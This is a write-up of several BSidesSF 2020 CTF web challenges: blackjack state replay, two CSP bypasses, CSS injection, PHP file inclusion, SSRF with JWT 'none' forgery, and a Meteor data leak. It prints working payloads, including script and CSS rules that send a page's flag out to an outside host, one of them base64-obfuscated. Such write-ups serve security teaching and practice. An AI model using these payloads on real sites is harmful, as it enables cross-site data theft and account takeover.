BSidesSF 2020 CTF

       

    [376pts] cards

    San Francisco has the occasional underground card room. Can you run the table in this game?

    https://cards-d38741c8.challenges.bsidessf.net

    image-20200225211525791

    In the challenge site, you can play Blackjack.

    1
    2
    // https://cards-d38741c8.challenges.bsidessf.net/api/config
    {"Goal":100000,"MinBet":10,"MaxBet":500,"GameHandler":"/game.go","DeckHandler":"/deck.go"}

    Users are given $1000 initial balance. and from /api/config, you can get the flag when achieve $100000.

    1
    2
    // https://cards-d38741c8.challenges.bsidessf.net/api
    {"SecretState":"2fd8d83c ... 54e39799","PlayerHand":[],"DealerHand":[],"Balance":1000,"GameState":"Idle","SessionState":"Playing","Bet":0}

    In /api, the SecretState property has a hex byte in the form of json, which contains the value of the user’s balance with encryption.

    1
    2
    // https://cards-d38741c8.challenges.bsidessf.net/api/deal
    {"SecretState":"e2ad07a3 ... d62c519d","PlayerHand":[["7","Clubs"],["Queen","Clubs"]],"DealerHand":[["X","X"],["6","Spades"]],"Balance":990,"GameState":"Playing","SessionState":"Playing","Bet":10}

    If you send a request to /api/deal with the initial SecretState value, the cards of the player and dealer have randomly chosen. Sometimes the player’s card make BlackJack, and in that case, the game is over and the Balance goes up instantly.

    1
    2
    3
    4
    // Win or Lose?
    {"SecretState":"d113e3fb ... b86484c1","PlayerHand":[["7","Clubs"],["Queen","Clubs"]],"DealerHand":[["X","X"],["6","Spades"]],"Balance":500,"GameState":"Playing","SessionState":"Playing","Bet":500}
    // Blackjack!
    {'SecretState': 'd113e3fb ... b86484c1', 'PlayerHand': [['Jack', 'Spades'], ['Ace', 'Spades']], 'DealerHand': [['3', 'Hearts'], ['6', 'Clubs']], 'Balance': 1750, 'GameState': 'Blackjack', 'SessionState': 'Playing', 'Bet': 500}

    The point is that if you lose or lose, the SecretState doesn’t destroy the value, so if you keep making deals until the Black Jack comes out, it’s possible to increase Balance continuously.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import requests

    state = requests.post('https://cards-d38741c8.challenges.bsidessf.net/api').json()['SecretState']

    while True:
    res = requests.post('https://cards-d38741c8.challenges.bsidessf.net/api/deal', json = {'Bet': 500, 'SecretState': state}).json()
    if res['GameState'] == 'Blackjack':
    print(res)
    state = res['SecretState']
    if 'Flag' in res:
    print(res['Flag'])
    break

    This script implements the description.

    image-20200225214251382

    [51pts] csp-1

    Can you bypass the CSP to steal the flag?

    https://csp-1-5aa1f221.challenges.bsidessf.net

    1
    Content-Security-Policy: script-src 'self' data:; default-src 'self'; connect-src *; report-uri /csp_report

    Basic CSP bypass challenge. There is no filtering policy in script insertion, and Incredibly, the script-src policy authorizes data schema, making CSP meaningless.

    1
    <script src="data:,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://rwx.kr/?'+escape(x))">

    image-20200225214623280

    [51pts] csp-2

    Can you bypass the CSP to steal the flag?

    https://csp-2-2446d5a3.challenges.bsidessf.net

    1
    Content-Security-Policy: script-src 'self' ajax.googleapis.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

    It’s similar to previous one. script-src allows embeding ajax.googleapis.com . The ajax.googleapis.com contains an Angularjs script, so you can bypass the CSP using the Angularjs Template.

    1
    2
    3
    4
    <script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js></script>
    <div ng-app ng-csp>
    {{constructor.constructor('eval(atob("ZmV0Y2goIi9jc3AtdHdvLWZsYWciKS50aGVuKHg9PngudGV4dCgpKS50aGVuKHg9PmxvY2F0aW9uPSIvL3J3eC5rci8/Iitlc2NhcGUoeCkp"))')()}}
    </div>

    image-20200225215149637

    [87pts] fun with flags

    The admin, Sheldon has the challenge flag, can you steal it?

    https://fun-with-flags-3b5279f5.challenges.bsidessf.net

    1
    <input type="hidden" name="flag" value=Try reading this value>

    CSS Injection challenge has message sending function to admin.
    all of other tags are filtered, but because of <style> tags are allowed, you can use the payload generator below to get the value of the input tag with the name property flag.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php

    header("Content-Type: text/css; charset=UTF-8");
    for ($ascii = 20; $ascii < 128; $ascii++) {
    if ($ascii == 92) continue;
    echo 'input[name=flag][value^="'.$a.htmlentities(chr($ascii)).'"] {
    background-image: url("http://rwx.kr/?FOUND='.$a.urlencode(chr($ascii)).'");
    }'."\n";
    }
    1
    CTF{let_the_shellz_rise_b4_baking}

    It is convenient to write an attack in Python script. But I sent them one by one because it was hassle.

    [51pts] had a bad day

    Can you read flag.php?

    https://had-a-bad-day-5b3328ad.challenges.bsidessf.net

    image-20200225220005141

    There’s two buttons. If click on them, forwarded to /index.php?category=woofers and /index.php?category=woofers each. Since woofer.php shows the same of index.php?category=/woofers.php, we can expect scripts like include($_GET['category'] + '.php') to be within index.php.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // from index.php?category=php://filter/convert.base64-encode/resource=index
    <?php
    $file = $_GET['category'];

    if(isset($file))
    {
    if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
    include ($file . '.php');
    }
    else{
    echo "Sorry, we currently only support woofers and meowers.";
    }
    }
    ?>

    You can get the source of index.php using php wrapper.
    If the index string is included in the parameter, filtering is likely to be bypassed.

    1
    2
    3
    4
    5
    6
    7
    8
    // index.php?category=php://filter/convert.base64-encode/resource=index/../flag
    PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIENURntoYXBwaW5lc3NfbmVlZHNfbm9fZmlsdGVyc30KPz4=

    // decoded
    <!-- Can you read this flag? -->
    <?php
    // CTF{happiness_needs_no_filters}
    ?>

    [157pts] recipes

    I’ve found this recipe storage service. Rumor has it that the famous San Francisco-based Boudin Bakery is working on a new recipe. Can you get that for me?

    https://recipes-0abb43f9.challenges.bsidessf.net

    The points of this problem are JWT authentication bypass and SSRF.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <li class="nav-item">
    <a class="nav-link" href="/recipes">Recipes</a>
    </li>
    <li class="nav-item">
    <a class="nav-link" href="/logout">Logout</a>
    </li>
    <li class="nav-item d-none">
    <a class="nav-link" href="/users">Users</a>
    </li>

    Not visible on rendered screen, but you can find /users route from html source.

    image-20200225221039313

    If you try to connect, you’ll be given a hint that you can only connect to the local host.

    image-20200225221221820

    1
    2
    3
    4
    5
    <h3>users</h3>
    <div id="recipe-body">
    <p><b>By posix</b></p>

    <img src="data:application/octet-stream;base64,CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI&#43;Cgo8aGVhZD4KCiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW ... ">

    In recipe creation feature, If you submit with a local host address to Picture URL, you can get the contents of the base64 encoded /users page on the entry of the image address.

    1
    <li><a href='/profile/6180f0c8-778b-442f-a5ab-10e18bef4c2d'>boudin_bakery</a></li>

    If you decode the contents, you can find the uuid of the boudin_bakery account.

    1
    2
    3
    4
    5
    6
    // jwt
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1ODI2Mzk5NzIsImlhdCI6MTU4MjYzNjM3MiwiaXNzIjoicmVjaXBlYm90IiwibmJmIjoxNTgyNjM2MzcyLCJzdWIiOiIyYzc4ZDJmNy03OGRlLTQwYzEtODFjNi1lYTJlOTc3MDQ2YWUifQ.jgTO8jUAOGFi_vmyGhs90aM0PVWU6f8NG5zSRdb8zhw
    // decoded
    header : {"alg":"HS256","typ":"JWT"}
    content : {"exp":1582639972,"iat":1582636372,"iss":"recipebot","nbf":1582636372,"sub":"2c78d2f7-78de-40c1-81c6-ea2e977046ae"}
    signature : <binary data>

    The JWT stores in cookies contains user’s uuid value.
    You can change the sub value to a uuid of boudin_bakery account’s using jwt none type input.

    1
    2
    3
    4
    5
    6
    // plain
    header : {"alg":"none","typ":"JWT"}
    content : {"exp":1582639972,"iat":1582636372,"iss":"recipebot","nbf":1582636372,"sub":"6180f0c8-778b-442f-a5ab-10e18bef4c2d"}
    signature : <binary data>
    // built jwt
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJleHAiOjE1ODI2Mzk5NzIsImlhdCI6MTU4MjYzNjM3MiwiaXNzIjoicmVjaXBlYm90IiwibmJmIjoxNTgyNjM2MzcyLCJzdWIiOiI2MTgwZjBjOC03NzhiLTQ0MmYtYTVhYi0xMGUxOGJlZjRjMmQifQ.

    If you complete jwt in the above way and try connecting, you can see the flag in the Flag Bread item.

    image-20200225222113311

    [51pts] simple todos

    For my new job as a San Franisco tour guide, I totally realized that I can use the Meteor simple-todos tutorial! It was really easy, the app works perfectly by step 9 of the tutorial, you don’t even need to write your own ‘publish and subscribe’ code! It’s all done for you!

    https://simple-todos-6c7bf285.challenges.bsidessf.net

    This is the challenge about Information Disclosure using WebSocket. The private message does not appear on the screen, but it sends it to the client without any special permission settings. This allows you to view a private message simply by checking the web socket communications history.

    image-20200225222310259

    image-20200225222317282